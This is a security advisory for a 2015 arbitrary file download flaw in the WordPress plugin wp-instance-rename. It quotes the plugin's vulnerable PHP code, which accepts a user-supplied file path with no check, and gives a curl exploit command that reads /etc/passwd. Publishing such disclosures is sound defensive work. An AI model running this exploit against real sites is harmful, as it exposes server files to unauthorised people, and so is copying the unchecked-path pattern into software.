[FD] Arbitrary File download in wordpress plugin wp-instance-rename v1.0

["Larry W. Cashdollar" <larry0@xxxxxx>]

Title: Arbitrary File download in wordpress plugin wp-instance-rename v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-12
Download Site: https://wordpress.org/plugins/wp-instance-rename/
Vendor: Vlajo
Vendor Notified: 2015-06-12
Advisory: http://www.vapid.dhs.org/advisory.php?v=127
Vendor Contact:
Description: WordPress Rename plugin allows you to easily rename the complete 
WordPress installation. This plugin allows you to rename WordPress database, 
WordPress directory, change every necessary configuration file, easily from one 
page.
Vulnerability:
The code in mysqldump_download.php doesn't check that the requested file is 
within the intended download directory:

try{
        $dbname   = $_GET["dbname"];
        $dumpfname = $_GET["dumpfname"];
        $backup_folder = $_GET["backup_folder"];        
}catch (Exception $e){}

if(empty($backup_folder)){
        $backup_folder="backup/";
}
echo "$dumpfname";
if (file_exists($dumpfname)) {          
        // zip the dump file    
        $name=$dbname . "_" . date("Y-m-d");    
        $zipfname = $backup_folder.$name.".zip";
        $zip = new ZipArchive();        
        if($zip->open($zipfname,ZIPARCHIVE::CREATE)) 
        {
           $zip->addFile($dumpfname,$dumpfname);
           $zip->close();
        }       
        // read zip file and send it to standard output
        if (file_exists($zipfname)) {
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; 
filename='.basename($zipfname));
                flush();
                readfile($zipfname);

CVEID: 2015-4703
OSVDB:
Exploit Code:
        • curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=."  
http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip

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